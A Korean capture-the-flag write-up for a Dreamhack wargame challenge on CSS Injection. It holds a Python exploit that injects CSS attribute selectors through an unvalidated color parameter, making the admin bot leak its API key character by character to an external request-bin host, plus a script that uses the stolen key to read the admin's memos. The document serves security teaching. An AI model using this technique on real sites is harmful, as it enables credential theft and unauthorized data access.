XSS는 script를 삽입해서 공격하는 방식
이와 비슷한 방식으로 style sheet의 CSS를 삽입해서 공격하는 방식이 CSS Injection이다.

문제 접속 시 메인 화면이다.

flag는 admin이 작성한 메모에 기록됐다.
admin 메모에 기록된 내용을 획득해야하는데, admin의 메모를 읽으려면 admin 계정의 API_KEY가 필요하다.

/report를 제출하면 전달한 path 를 검증하고 admin이 전달한 path로 접속

공격 대상인 admin이 로그인하고 path에 접속

context_prosessor 코드
- 배경 색을 color 파라미터로 지정
<style> body{ background-color: {{ color }}; } </style>
전달한 color 파라미터는 위와 같은 CSS 코드인 사용되어 background-color로 적용

/api.memo를 이용하면 uid로 지정한 사용자의 메모 확인 가능
apikey_required() 실행 시 API-KEY를 통해 실사용자가 맞는지 검증 수행

회원가입 > 로그인

/mypage 에서 API-KEY 확인
admin의 API-KEY를 탈취해야하는데, /report 기능과 color 파라미터를 이용해서 CSS Injection이 가능하다.

CSS 코드를 보면 color 파라미터를 지정해서 background-color가 생성된다.
color에 대한 검증이 없는 걸 이용해 <style> 태그 내용을 조작할 수 있다.
> API-KEY가 조건의 문자여롸 일치하면 API-KEY를 C2 서버로 전송하도록 payload를 작성할 수 있다.
import requests, string
URL = "http://host3.dreamhack.games:21904/report"
curr= ""
for token in string.ascii_lowercase:
data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+curr+token+"] {background: url(https://bsompbj.request.dreamhack.games/"+curr+token+");"}
response = requests.post(URL, data=data)
print(f"'{token}': Status {response.status_code}")
공격자의 C2 서버로 admin의 API-KEY를 전송하는 exploit 코드
- 페이로드는 쿼리값으로 mypage에 접근해서 지정한 서버로 ping을 보내도록 한다.
- 특수문자 등에 대한 필터링이 전혀 없으므로, 형식만 잘 신경써서 요청을 보내면 된다.
- inputApitoken의 value 값이 가장 첫 글자부터 하나씩 가져올 것이다.
- selector 2개를 통해 id와 value값을 지정해주는데, value의 경우 알게 된 문자열 + 시도 문자의 형식으로 token을 알아내도록 할 것이다. -> selector 형식: [attr=value] / [attr^=value]

이렇게 하나하나 확인...

한 글자씩 확인...
curr에 직접 추가하면서 한 글자 씩 알아냈다.


import requests
URL = "http://host3.dreamhack.games:19746/api/memo"
TOKEN = "rrlmnnfo"
headers = {
"API-KEY": TOKEN
}
response = requests.get(URL, headers=headers)
# 응답 확인
if response.status_code == 200:
print("Request successful!")
response_data = response.json()
if response_data['code'] == 200:
# 메모 데이터 파싱 및 출력
memos = response_data['memo']
for memo in memos:
print(f"Memo index: {memo['idx']}, Memo content: {memo['memo']}")
else:
print(f"Error: {response_data['message']}")
else:
print(f"Failed to fetch data. Status code: {response.status_code}")

토큰값을 가지고 api/memo에 요청을 보내어 내용을 파싱해서 플래그값을 추출

https://dreamhack.io/wargame/challenges/421
CSS Injection
Description Exercise: CSS Injection에서 실습하는 문제입니다. 문제 수정 내역 2023.08.09 Dockerfile 및 bot 일부 수정 2023.11.27 main.py 및 requirements.txt 수정
dreamhack.io